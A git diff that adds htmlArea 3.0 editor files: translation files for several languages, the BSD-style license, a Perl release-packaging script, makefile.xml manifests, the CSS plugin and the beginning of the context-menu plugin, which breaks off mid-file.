+HTMLArea.I18N = {\r\r
+\r
+       // the following should be the filename without .js extension\r
+       // it will be used for automatically load plugin language.\r
+       lang: "pt_br",\r
+\r
+       tooltips: {\r\r
+               bold:           "Negrito",\r\r
+               italic:         "Itálico",\r\r
+               underline:      "Sublinhado",\r\r
+               strikethrough:  "Tachado",\r\r
+               subscript:      "Subescrito",\r\r
+               superscript:    "Sobrescrito",\r\r
+               justifyleft:    "Alinhar à Esquerda",\r\r
+               justifycenter:  "Centralizar",\r\r
+               justifyright:   "Alinhar à Direita",\r\r
+               justifyfull:    "Justificar",\r\r
+               orderedlist:    "Lista Numerada",\r\r
+               unorderedlist:  "Lista Marcadores",\r\r
+               outdent:        "Diminuir Indentação",\r\r
+               indent:         "Aumentar Indentação",\r\r
+               forecolor:      "Cor da Fonte",\r\r
+               backcolor:      "Cor do Fundo",\r\r
+               horizontalrule: "Linha Horizontal",\r\r
+               createlink:     "Inserir Link",\r\r
+               insertimage:    "Inserir Imagem",\r\r
+               inserttable:    "Inserir Tabela",\r\r
+               htmlmode:       "Ver Código-Fonte",\r\r
+               popupeditor:    "Expandir Editor",\r\r
+               about:          "Sobre",\r\r
+               help:           "Ajuda",\r\r
+               textindicator:  "Estilo Atual"\r\r
+       }\r\r
+};\r\r
diff --git a/admin/htmlarea/lang/ro.js b/admin/htmlarea/lang/ro.js
new file mode 100755 (executable)
index 0000000..9e33775
--- /dev/null
@@ -0,0 +1,80 @@
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "ro",
+
+       tooltips: {
+               bold:           "Îngroşat",
+               italic:         "Italic",
+               underline:      "Subliniat",
+               strikethrough:  "Tăiat",
+               subscript:      "Indice jos",
+               superscript:    "Indice sus",
+               justifyleft:    "Aliniere la stânga",
+               justifycenter:  "Aliniere pe centru",
+               justifyright:   "Aliniere la dreapta",
+               justifyfull:    "Aliniere în ambele părţi",
+               orderedlist:    "Listă ordonată",
+               unorderedlist:  "Listă marcată",
+               outdent:        "Micşorează alineatul",
+               indent:         "Măreşte alineatul",
+               forecolor:      "Culoarea textului",
+               hilitecolor:    "Culoare de fundal",
+               horizontalrule: "Linie orizontală",
+               createlink:     "Inserează/modifică link",
+               insertimage:    "Inserează/modifică imagine",
+               inserttable:    "Inserează un tabel",
+               htmlmode:       "Sursa HTML / WYSIWYG",
+               popupeditor:    "Maximizează editorul",
+               about:          "Despre editor",
+               showhelp:       "Documentaţie (devel)",
+               textindicator:  "Stilul curent",
+               undo:           "Anulează ultima acţiune",
+               redo:           "Reface ultima acţiune anulată",
+               cut:            "Taie în clipboard",
+               copy:           "Copie în clipboard",
+               paste:          "Aduce din clipboard",
+               lefttoright:    "Direcţia de scriere: stânga - dreapta",
+               righttoleft:    "Direcţia de scriere: dreapta - stânga"
+       },
+
+       buttons: {
+               "ok":           "OK",
+               "cancel":       "Anulează"
+       },
+
+       msg: {
+               "Path":         "Calea",
+               "TEXT_MODE":    "Eşti în modul TEXT.  Apasă butonul [<>] pentru a te întoarce în modul WYSIWYG."
+       },
+
+       dialogs: {
+               "Cancel"                                            : "Renunţă",
+               "Insert/Modify Link"                                : "Inserează/modifcă link",
+               "New window (_blank)"                               : "Fereastră nouă (_blank)",
+               "None (use implicit)"                               : "Nimic (foloseşte ce-i implicit)",
+               "OK"                                                : "Acceptă",
+               "Other"                                             : "Alt target",
+               "Same frame (_self)"                                : "Aceeaşi fereastră (_self)",
+               "Target:"                                           : "Ţinta:",
+               "Title (tooltip):"                                  : "Titlul (tooltip):",
+               "Top frame (_top)"                                  : "Fereastra principală (_top)",
+               "URL:"                                              : "URL:",
+               "You must enter the URL where this link points to"  : "Trebuie să introduceţi un URL"
+       }
+};
diff --git a/admin/htmlarea/lang/ru.js b/admin/htmlarea/lang/ru.js
new file mode 100755 (executable)
index 0000000..6e25fc5
--- /dev/null
@@ -0,0 +1,63 @@
+// I18N constants\r\r
+\r\r
+// LANG: "ru", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Yulya Shtyryakova, <yulya@vdcom.ru>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+       // the following should be the filename without .js extension\r\r
+       // it will be used for automatically load plugin language.\r\r
+       lang: "ru",\r\r
+\r\r
+       tooltips: {\r\r
+               bold:           "Полужирный",\r\r
+               italic:         "Наклонный",\r\r
+               underline:      "Подчеркнутый",\r\r
+               strikethrough:  "Перечеркнутый",\r\r
+               subscript:      "Нижний индекс",\r\r
+               superscript:    "Верхний индекс",\r\r
+               justifyleft:    "По левому краю",\r\r
+               justifycenter:  "По центру",\r\r
+               justifyright:   "По правому краю",\r\r
+               justifyfull:    "По ширине",\r\r
+               orderedlist:    "Нумерованный лист",\r\r
+               unorderedlist:  "Маркированный лист",\r\r
+               outdent:        "Уменьшить отступ",\r\r
+               indent:         "Увеличить отступ",\r\r
+               forecolor:      "Цвет шрифта",\r\r
+               hilitecolor:    "Цвет фона",\r\r
+               horizontalrule: "Горизонтальный разделитель",\r\r
+               createlink:     "Вставить гиперссылку",\r\r
+               insertimage:    "Вставить изображение",\r\r
+               inserttable:    "Вставить таблицу",\r\r
+               htmlmode:       "Показать Html-код",\r\r
+               popupeditor:    "Увеличить редактор",\r\r
+               about:          "О редакторе",\r\r
+               showhelp:       "Помощь",\r\r
+               textindicator:  "Текущий стиль",\r\r
+               undo:           "Отменить",\r\r
+               redo:           "Повторить",\r\r
+               cut:            "Вырезать",\r\r
+               copy:           "Копировать",\r\r
+               paste:          "Вставить"\r\r
+       },\r\r
+\r\r
+       buttons: {\r\r
+               "ok":           "OK",\r\r
+               "cancel":       "Отмена"\r\r
+       },\r\r
+\r\r
+       msg: {\r\r
+               "Path":         "Путь",\r\r
+               "TEXT_MODE":    "Вы в режиме отображения Html-кода. нажмите кнопку [<>], чтобы переключиться в визуальный режим."\r\r
+       }\r\r
+};\r\r
diff --git a/admin/htmlarea/lang/se.js b/admin/htmlarea/lang/se.js
new file mode 100755 (executable)
index 0000000..2b567d4
--- /dev/null
@@ -0,0 +1,38 @@
+// Swedish version for htmlArea v3.0 - Alpha Release\r\r
+// - translated by pat<pat@engvall.nu>\r\r
+// term´s and licenses are equal to htmlarea!\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r
+       // the following should be the filename without .js extension\r
+       // it will be used for automatically load plugin language.\r
+       lang: "se",\r
+\r
+       tooltips: {\r\r
+               bold:           "Fet",\r\r
+               italic:         "Kursiv",\r\r
+               underline:      "Understruken",\r\r
+               strikethrough:  "Genomstruken",\r\r
+               subscript:      "Nedsänkt",\r\r
+               superscript:    "Upphöjd",\r\r
+               justifyleft:    "Vänsterjustera",\r\r
+               justifycenter:  "Centrera",\r\r
+               justifyright:   "Högerjustera",\r\r
+               justifyfull:    "Marginaljustera",\r\r
+               orderedlist:    "Numrerad lista",\r\r
+               unorderedlist:  "Punktlista",\r\r
+               outdent:        "Minska indrag",\r\r
+               indent:         "Öka indrag",\r\r
+               forecolor:      "Textfärg",\r\r
+               backcolor:      "Bakgrundsfärg",\r\r
+               horizontalrule: "Vågrät linje",\r\r
+               createlink:     "Infoga länk",\r\r
+               insertimage:    "Infoga bild",\r\r
+               inserttable:    "Infoga tabell",\r\r
+               htmlmode:       "Visa källkod",\r\r
+               popupeditor:    "Visa i eget fönster",\r\r
+               about:          "Om denna editor",\r\r
+               help:           "Hjälp",\r\r
+               textindicator:  "Nuvarande stil"\r\r
+       }\r\r
+};\r\r
diff --git a/admin/htmlarea/lang/si.js b/admin/htmlarea/lang/si.js
new file mode 100755 (executable)
index 0000000..19793ab
--- /dev/null
@@ -0,0 +1,63 @@
+// I18N constants\r\r
+\r\r
+// LANG: "si", ENCODING: ISO-8859-2\r\r
+// Author: Tomaz Kregar, x_tomo_x@email.si\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+       // the following should be the filename without .js extension\r\r
+       // it will be used for automatically load plugin language.\r\r
+       lang: "si",\r\r
+\r\r
+       tooltips: {\r\r
+               bold:           "Krepko",\r\r
+               italic:         "Le¾eèe",\r\r
+               underline:      "Podèrtano",\r\r
+               strikethrough:  "Preèrtano",\r\r
+               subscript:      "Podpisano",\r\r
+               superscript:    "Nadpisano",\r\r
+               justifyleft:    "Poravnaj levo",\r\r
+               justifycenter:  "Na sredino",\r\r
+               justifyright:   "Poravnaj desno",\r\r
+               justifyfull:    "Porazdeli vsebino",\r\r
+               orderedlist:    "O¹tevilèevanje",\r\r
+               unorderedlist:  "Oznaèevanje",\r\r
+               outdent:        "Zmanj¹aj zamik",\r\r
+               indent:         "Poveèaj zamik",\r\r
+               forecolor:      "Barva pisave",\r\r
+               hilitecolor:    "Barva ozadja",\r\r
+               horizontalrule: "Vodoravna èrta",\r\r
+               createlink:     "Vstavi hiperpovezavo",\r\r
+               insertimage:    "Vstavi sliko",\r\r
+               inserttable:    "Vstavi tabelo",\r\r
+               htmlmode:       "Preklopi na HTML kodo",\r\r
+               popupeditor:    "Poveèaj urejevalnik",\r\r
+               about:          "Vizitka za urejevalnik",\r\r
+               showhelp:       "Pomoè za urejevalnik",\r\r
+               textindicator:  "Trenutni slog",\r\r
+               undo:           "Razveljavi zadnjo akcijo",\r\r
+               redo:           "Uveljavi zadnjo akcijo",\r\r
+               cut:            "Izre¾i",\r\r
+               copy:           "Kopiraj",\r\r
+               paste:          "Prilepi"\r\r
+       },\r\r
+\r\r
+       buttons: {\r\r
+               "ok":           "V redu",\r\r
+               "cancel":       "Preklièi"\r\r
+       },\r\r
+\r\r
+       msg: {\r\r
+               "Path":         "Pot",\r\r
+               "TEXT_MODE":    "Si v tekstovnem naèinu.  Uporabi [<>] gumb za prklop nazaj na WYSIWYG."\r\r
+       }\r\r
+};\r\r
diff --git a/admin/htmlarea/lang/vn.js b/admin/htmlarea/lang/vn.js
new file mode 100755 (executable)
index 0000000..7742496
--- /dev/null
@@ -0,0 +1,51 @@
+// I18N constants : Vietnamese
+// LANG: "en", ENCODING: UTF-8
+// Author: Nguyễn Đình Nam, <hncryptologist@yahoo.com>
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "vn",
+
+       tooltips: {
+               bold:           "Đậm",
+               italic:         "Nghiêng",
+               underline:      "Gạch Chân",
+               strikethrough:  "Gạch Xóa",
+               subscript:      "Viết Xuống Dưới",
+               superscript:    "Viết Lên Trên",
+               justifyleft:    "Căn Trái",
+               justifycenter:  "Căn Giữa",
+               justifyright:   "Căn Phải",
+               justifyfull:    "Căn Đều",
+               orderedlist:    "Danh Sách Có Thứ Tự",
+               unorderedlist:  "Danh Sách Phi Thứ Tự",
+               outdent:        "Lùi Ra Ngoài",
+               indent:         "Thụt Vào Trong",
+               forecolor:      "Màu Chữ",
+               backcolor:      "Màu Nền",
+               horizontalrule: "Dòng Kẻ Ngang",
+               createlink:     "Tạo Liên Kết",
+               insertimage:    "Chèn Ảnh",
+               inserttable:    "Chèn Bảng",
+               htmlmode:       "Chế Độ Mã HTML",
+               popupeditor:    "Phóng To Ô Soạn Thảo",
+               about:          "Tự Giới Thiệu",
+               showhelp:       "Giúp Đỡ",
+               textindicator:  "Định Dạng Hiện Thời",
+               undo:           "Undo",
+               redo:           "Redo",
+               cut:            "Cắt",
+               copy:           "Copy",
+               paste:          "Dán"
+       },
+       buttons: {
+               "ok":           "OK",
+               "cancel":       "Hủy"
+       },
+       msg: {
+               "Path":         "Đường Dẫn",
+               "TEXT_MODE":    "Bạn đang ở chế độ text.  Sử dụng nút [<>] để chuyển lại chế độ WYSIWIG."
+       }
+};
diff --git a/admin/htmlarea/license.txt b/admin/htmlarea/license.txt
new file mode 100755 (executable)
index 0000000..0a36c01
--- /dev/null
@@ -0,0 +1,30 @@
+htmlArea License (based on BSD license)\r\r
+Copyright (c) 2002-2004, interactivetools.com, inc.\r\r
+Copyright (c) 2003-2004 dynarch.com\r\r
+All rights reserved.\r\r
+\r\r
+Redistribution and use in source and binary forms, with or without\r\r
+modification, are permitted provided that the following conditions are met:\r\r
+\r\r
+1) Redistributions of source code must retain the above copyright notice,\r\r
+   this list of conditions and the following disclaimer.\r\r
+\r\r
+2) Redistributions in binary form must reproduce the above copyright notice,\r\r
+   this list of conditions and the following disclaimer in the documentation\r\r
+   and/or other materials provided with the distribution.\r\r
+\r\r
+3) Neither the name of interactivetools.com, inc. nor the names of its\r\r
+   contributors may be used to endorse or promote products derived from this\r\r
+   software without specific prior written permission.\r\r
+\r\r
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"\r\r
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\r\r
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\r\r
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\r\r
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\r\r
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\r\r
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\r\r
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\r\r
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\r\r
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\r\r
+POSSIBILITY OF SUCH DAMAGE.\r\r
diff --git a/admin/htmlarea/make-release.pl b/admin/htmlarea/make-release.pl
new file mode 100755 (executable)
index 0000000..d83215f
--- /dev/null
@@ -0,0 +1,263 @@
+#! /usr/bin/perl -w
+# $Id: make-release.pl,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+
+# Script for creating a distribution archive.  Based on make-release.pl from
+# jscalendar.
+
+# Author: Mihai Bazon, http://dynarch.com/mishoo
+# NO WARRANTIES WHATSOEVER.  READ GNU LGPL.
+
+# This file requires HTML::Mason; this module is used for automatic
+# substitution of the version/release number as well as for selection of the
+# changelog (at least in the file release-notes.html).  It might not work
+# without HTML::Mason.
+
+use strict;
+# use diagnostics;
+use HTML::Mason;
+use File::Find;
+use XML::Parser;
+use Data::Dumper;
+
+my $verbosity = 1;
+
+my $tmpdir = '/tmp';
+
+my $config = parseXML("project-config.xml");
+speak(3, Data::Dumper::Dumper($config));
+
+my ($project, $version, $release, $basename);
+
+$project = $config->{project}{ATTR}{title};
+$version = $config->{project}{version}{DATA};
+$release = $config->{project}{release}{DATA};
+$basename = "$project-$version";
+$basename .= "-$release" if ($release);
+
+speak(1, "Project: $basename");
+
+## create directory tree
+my ($basedir);
+{
+    # base directory
+    $basedir = "$tmpdir/$basename";
+    if (-d $basedir) {
+        speak(-1, "$basedir already exists, removing... >:-]\n");
+        system "rm -rf $basedir";
+    }
+}
+
+process_directory();
+
+## make the ZIP file
+chdir "$basedir/..";
+speak(1, "Making ZIP file /tmp/$basename.zip");
+system ("zip -r $basename.zip $basename > /dev/null");
+system ("ls -la /tmp/$basename.zip");
+
+## remove the basedir
+system("rm -rf $basedir");
+
+## back
+#chdir $cwd;
+
+
+
+### SUBROUTINES
+
+# handle _one_ file
+sub process_one_file {
+    my ($attr, $target) = @_;
+
+    $target =~ s/\/$//;
+    $target .= '/';
+    my $destination = $target.$attr->{REALNAME};
+
+    # copy file first
+    speak(1, "   copying $attr->{REALNAME}");
+    system "cp $attr->{REALNAME} $destination";
+
+    my $masonize = $attr->{masonize} || '';
+    if ($masonize =~ /yes|on|1/i) {
+        speak(1, "   > masonizing to $destination...");
+        my $args = $attr->{args} || '';
+        my @vars = split(/\s*,\s*/, $args);
+        my %args = ();
+        foreach my $i (@vars) {
+            $args{$i} = eval '$'.$i;
+            speak(1, "      > argument: $i => $args{$i}");
+        }
+        my $outbuf;
+        my $interp = HTML::Mason::Interp->new ( comp_root    => $target,
+                                                out_method   => \$outbuf );
+        $interp->exec("/$attr->{REALNAME}", %args);
+        open (FILE, "> $destination");
+        print FILE $outbuf;
+        close (FILE);
+    }
+}
+
+# handle some files
+sub process_files {
+    my ($files, $target) = @_;
+
+    # proceed with the explicitely required files first
+    my %options = ();
+    foreach my $i (@{$files}) {
+        $options{$i->{ATTR}{name}} = $i->{ATTR};
+    }
+
+    foreach my $i (@{$files}) {
+        my @expanded = glob "$i->{ATTR}{name}";
+        foreach my $file (@expanded) {
+            $i->{ATTR}{REALNAME} = $file;
+            if (defined $options{$file}) {
+                unless (defined $options{$file}->{PROCESSED}) {
+                    speak(1, "EXPLICIT FILE: $file");
+                    $options{$file}->{REALNAME} = $file;
+                    process_one_file($options{$file}, $target);
+                    $options{$file}->{PROCESSED} = 1;
+                }
+            } else {
+                speak(2, "GLOB: $file");
+                process_one_file($i->{ATTR}, $target);
+                $options{$file} = 2;
+            }
+        }
+    }
+}
+
+# handle _one_ directory
+sub process_directory {
+    my ($dir, $path) = @_;
+    my $cwd = '..';             # ;-)
+
+    (defined $dir) || ($dir = '.');
+    (defined $path) || ($path = '');
+    speak(2, "DIR: $path$dir");
+    $dir =~ s/\/$//;
+    $dir .= '/';
+
+    unless (-d $dir) {
+        speak(-1, "DIRECTORY '$dir' NOT FOUND, SKIPPING");
+        return 0;
+    }
+
+    # go where we have stuff to do
+    chdir $dir;
+
+    my $target = $basedir;
+    ($path =~ /\S/) && ($target .= "/$path");
+    ($dir ne './') && ($target .= $dir);
+
+    speak(1, "*** Creating directory: $target");
+    mkdir $target;
+
+    unless (-f 'makefile.xml') {
+        speak(-1, "No makefile.xml in this directory");
+        chdir $cwd;
+        return 0;
+    }
+    my $config = parseXML("makefile.xml");
+    speak(3, Data::Dumper::Dumper($config));
+
+    my $tmp = $config->{files}{file};
+    if (defined $tmp) {
+        my $files;
+        if (ref($tmp) eq 'ARRAY') {
+            $files = $tmp;
+        } else {
+            $files = [ $tmp ];
+        }
+        process_files($files, $target);
+    }
+
+    $tmp = $config->{files}{dir};
+    if (defined $tmp) {
+        my $subdirs;
+        if (ref($tmp) eq 'ARRAY') {
+            $subdirs = $tmp;
+        } else {
+            $subdirs = [ $tmp ];
+        }
+        foreach my $i (@{$subdirs}) {
+            process_directory($i->{ATTR}{name}, $path.$dir);
+        }
+    }
+
+    # get back to our previous location
+    chdir $cwd;
+}
+
+# this does all the XML parsing shit we'll need for our little task
+sub parseXML {
+    my ($filename) = @_;
+    my $rethash = {};
+
+    my @tagstack;
+
+    my $handler_start = sub {
+        my ($parser, $tag, @attrs) = @_;
+        my $current_tag = {};
+        $current_tag->{NAME} = $tag;
+        $current_tag->{DATA} = '';
+        push @tagstack, $current_tag;
+        if (scalar @attrs) {
+            my $attrs = {};
+            $current_tag->{ATTR} = $attrs;
+            while (scalar @attrs) {
+                my $name = shift @attrs;
+                my $value = shift @attrs;
+                $attrs->{$name} = $value;
+            }
+        }
+    };
+
+    my $handler_char = sub {
+        my ($parser, $data) = @_;
+        if ($data =~ /\S/) {
+            $tagstack[$#tagstack]->{DATA} .= $data;
+        }
+    };
+
+    my $handler_end = sub {
+        my $current_tag = pop @tagstack;
+        if (scalar @tagstack) {
+            my $tmp = $tagstack[$#tagstack]->{$current_tag->{NAME}};
+            if (defined $tmp) {
+                ## better build an array, there are more elements with this tagname
+                if (ref($tmp) eq 'ARRAY') {
+                    ## oops, the ARRAY is already there, just add the new element
+                    push @{$tmp}, $current_tag;
+                } else {
+                    ## create the array "in-place"
+                    $tagstack[$#tagstack]->{$current_tag->{NAME}} = [ $tmp, $current_tag ];
+                }
+            } else {
+                $tagstack[$#tagstack]->{$current_tag->{NAME}} = $current_tag;
+            }
+        } else {
+            $rethash->{$current_tag->{NAME}} = $current_tag;
+        }
+    };
+
+    my $parser = new XML::Parser
+      ( Handlers => { Start => $handler_start,
+                      Char  => $handler_char,
+                      End   => $handler_end } );
+    $parser->parsefile($filename);
+
+    return $rethash;
+}
+
+# print somethign according to the level of verbosity
+# receives: verbosity_level and message
+# prints message if verbosity_level >= $verbosity (global)
+sub speak {
+    my ($v, $t) = @_;
+    if ($v < 0) {
+        print STDERR "\033[1;31m!! $t\033[0m\n";
+    } elsif ($verbosity >= $v) {
+        print $t, "\n";
+    }
+}
diff --git a/admin/htmlarea/makefile.xml b/admin/htmlarea/makefile.xml
new file mode 100755 (executable)
index 0000000..e6f43c4
--- /dev/null
@@ -0,0 +1,19 @@
+<files>
+  <file name="*.{js,html,css,cgi}" />
+  <file name="license.txt" />
+  <file name="release-notes.html" masonize="yes" />
+  <file name="index.html" masonize="yes" />
+  <file name="ChangeLog" />
+
+  <dir name="lang" />
+  <dir name="plugins" />
+  <dir name="popups" />
+  <dir name="images" />
+  <dir name="examples" />
+
+  <shell dir="dest"><![CDATA[
+    find . -type d               -exec chmod 755 {} \; ;
+    find . -type f               -exec chmod 644 {} \; ;
+    find . -type f -name "*.cgi" -exec chmod 755 {} \; ;
+  ]]></shell>
+</files>
diff --git a/admin/htmlarea/plugins/CSS/css.js b/admin/htmlarea/plugins/CSS/css.js
new file mode 100755 (executable)
index 0000000..a501ba9
--- /dev/null
@@ -0,0 +1,116 @@
+// Simple CSS (className) plugin for the editor
+// Sponsored by http://www.miro.com.au
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo.
+//
+// (c) dynarch.com 2003
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: css.js,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+
+function CSS(editor, params) {
+       this.editor = editor;
+       var cfg = editor.config;
+       var toolbar = cfg.toolbar;
+       var self = this;
+       var i18n = CSS.I18N;
+       var plugin_config = params[0];
+       var combos = plugin_config.combos;
+
+       var first = true;
+       for (var i = combos.length; --i >= 0;) {
+               var combo = combos[i];
+               var id = "CSS-class" + i;
+               var css_class = {
+                       id         : id,
+                       options    : combo.options,
+                       action     : function(editor) { self.onSelect(editor, this, combo.context, combo.updatecontextclass); },
+                       refresh    : function(editor) { self.updateValue(editor, this); },
+                       context    : combo.context
+               };
+               cfg.registerDropdown(css_class);
+
+               // prepend to the toolbar
+               toolbar[1].splice(0, 0, first ? "separator" : "space");
+               toolbar[1].splice(0, 0, id);
+               if (combo.label)
+                       toolbar[1].splice(0, 0, "T[" + combo.label + "]");
+               first = false;
+       }
+};
+
+CSS._pluginInfo = {
+       name          : "CSS",
+       version       : "1.0",
+       developer     : "Mihai Bazon",
+       developer_url : "http://dynarch.com/mishoo/",
+       c_owner       : "Mihai Bazon",
+       sponsor       : "Miro International",
+       sponsor_url   : "http://www.miro.com.au",
+       license       : "htmlArea"
+};
+
+CSS.prototype.onSelect = function(editor, obj, context, updatecontextclass) {
+       var tbobj = editor._toolbarObjects[obj.id];
+       var index = tbobj.element.selectedIndex;
+       var className = tbobj.element.value;
+
+       // retrieve parent element of the selection
+       var parent = editor.getParentElement();
+       var surround = true;
+
+       var is_span = (parent && parent.tagName.toLowerCase() == "span");
+       var update_parent = (context && updatecontextclass && parent && parent.tagName.toLowerCase() == context);
+
+       if (update_parent) {
+               parent.className = className;
+               editor.updateToolbar();
+               return;
+       }
+
+       if (is_span && index == 0 && !/\S/.test(parent.style.cssText)) {
+               while (parent.firstChild) {
+                       parent.parentNode.insertBefore(parent.firstChild, parent);
+               }
+               parent.parentNode.removeChild(parent);
+               editor.updateToolbar();
+               return;
+       }
+
+       if (is_span) {
+               // maybe we could simply change the class of the parent node?
+               if (parent.childNodes.length == 1) {
+                       parent.className = className;
+                       surround = false;
+                       // in this case we should handle the toolbar updation
+                       // ourselves.
+                       editor.updateToolbar();
+               }
+       }
+
+       // Other possibilities could be checked but require a lot of code.  We
+       // can't afford to do that now.
+       if (surround) {
+               // shit happens ;-) most of the time.  this method works, but
+               // it's dangerous when selection spans multiple block-level
+               // elements.
+               editor.surroundHTML("<span class='" + className + "'>", "</span>");
+       }
+};
+
+CSS.prototype.updateValue = function(editor, obj) {
+       var select = editor._toolbarObjects[obj.id].element;
+       var parent = editor.getParentElement();
+       if (typeof parent.className != "undefined" && /\S/.test(parent.className)) {
+               var options = select.options;
+               var value = parent.className;
+               for (var i = options.length; --i >= 0;) {
+                       var option = options[i];
+                       if (value == option.value) {
+                               select.selectedIndex = i;
+                               return;
+                       }
+               }
+       }
+       select.selectedIndex = 0;
+};
diff --git a/admin/htmlarea/plugins/CSS/lang/en.js b/admin/htmlarea/plugins/CSS/lang/en.js
new file mode 100755 (executable)
index 0000000..7ffba00
--- /dev/null
@@ -0,0 +1,2 @@
+// none yet; this file is a stub.
+CSS.I18N = {};
diff --git a/admin/htmlarea/plugins/CSS/lang/makefile.xml b/admin/htmlarea/plugins/CSS/lang/makefile.xml
new file mode 100755 (executable)
index 0000000..1daee46
--- /dev/null
@@ -0,0 +1,4 @@
+<files>
+  <file name="*.js" />
+</files>
+
diff --git a/admin/htmlarea/plugins/CSS/makefile.xml b/admin/htmlarea/plugins/CSS/makefile.xml
new file mode 100755 (executable)
index 0000000..2b0e7aa
--- /dev/null
@@ -0,0 +1,6 @@
+<files>
+  <file name="*.{js,html,cgi,css}" />
+
+  <dir name="lang" />
+</files>
+
diff --git a/admin/htmlarea/plugins/ContextMenu/1.pl b/admin/htmlarea/plugins/ContextMenu/1.pl
new file mode 100755 (executable)
index 0000000..fdf6679
--- /dev/null
@@ -0,0 +1,38 @@
+#! /usr/bin/perl -w
+
+use strict;
+
+my $file = 'context-menu.js';
+my $outfile = $file.'-i18n';
+my $langfile = 'en.js';
+
+open FILE, "<$file";
+#open OUTFILE, ">$outfile";
+#open LANGFILE, ">$langfile";
+my %texts = ();
+while (<FILE>) {
+    if (/"(.*?)"/) {
+        my $inline = $_;
+        chomp $inline;
+        my $key = $1;
+        my $val = $1;
+        print "Key: [$key]: ";
+        my $line = <STDIN>;
+        if (defined $line) {
+            chomp $line;
+            if ($line =~ /(\S+)/) {
+                $key = $1;
+                print "-- using $key\n";
+            }
+            $texts{$val} = $key;
+        } else {
+            print " -- skipped...\n";
+        }
+    }
+}
+#close LANGFILE;
+#close OUTFILE;
+close FILE;
+
+print "\n\n\n";
+print '"', join("\"\n\"", sort keys %texts), '"', "\n";
diff --git a/admin/htmlarea/plugins/ContextMenu/context-menu.js b/admin/htmlarea/plugins/ContextMenu/context-menu.js
new file mode 100755 (executable)
index 0000000..91dad50
--- /dev/null
@@ -0,0 +1,416 @@
+// Context Menu Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: context-menu.js,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+
+HTMLArea.loadStyle("menu.css", "ContextMenu");
+
+function ContextMenu(editor) {
+       this.editor = editor;
+};
+
+ContextMenu._pluginInfo = {
+       name          : "ContextMenu",
+       version       : "1.0",
+       developer     : "Mihai Bazon",
+       developer_url : "http://dynarch.com/mishoo/",
+       c_owner       : "dynarch.com",
+       sponsor       : "American Bible Society",
+       sponsor_url   : "http://www.americanbible.org",
+       license       : "htmlArea"
+};
+
+ContextMenu.prototype.onGenerate = function() {
+       var self = this;
+       var doc = this.editordoc = this.editor._iframe.contentWindow.document;
+       HTMLArea._addEvents(doc, ["contextmenu"],
+                           function (event) {
+                                   return self.popupMenu(HTMLArea.is_ie ? self.editor._iframe.contentWindow.event : event);
+                           });
+       this.currentMenu = null;
+};
+
+ContextMenu.prototype.getContextMenu = function(target) {
+       var self = this;
+       var editor = this.editor;
+       var config = editor.config;
+       var menu = [];
+       var tbo = this.editor.plugins.TableOperations;
+       if (tbo) tbo = tbo.instance;
+       var i18n = ContextMenu.I18N;
+
+       var selection = editor.hasSelectedText();
+       if (selection)
+               menu.push([ i18n["Cut"], function() { editor.execCommand("cut"); }, null, config.btnList["cut"][1] ],
+                         [ i18n["Copy"], function() { editor.execCommand("copy"); }, null, config.btnList["copy"][1] ]);
+       menu.push([ i18n["Paste"], function() { editor.execCommand("paste"); }, null, config.btnList["paste"][1] ]);
+
+       var currentTarget = target;
+       var elmenus = [];
+
+       var link = null;
+       var table = null;
+       var tr = null;
+       var td = null;
+       var img = null;
+
+       function tableOperation(opcode) {
+               tbo.buttonPress(editor, opcode);
+       };
+
+       for (; target; target = target.parentNode) {
+               var tag = target.tagName;
+               if (!tag)
+                       continue;
+               tag = tag.toLowerCase();
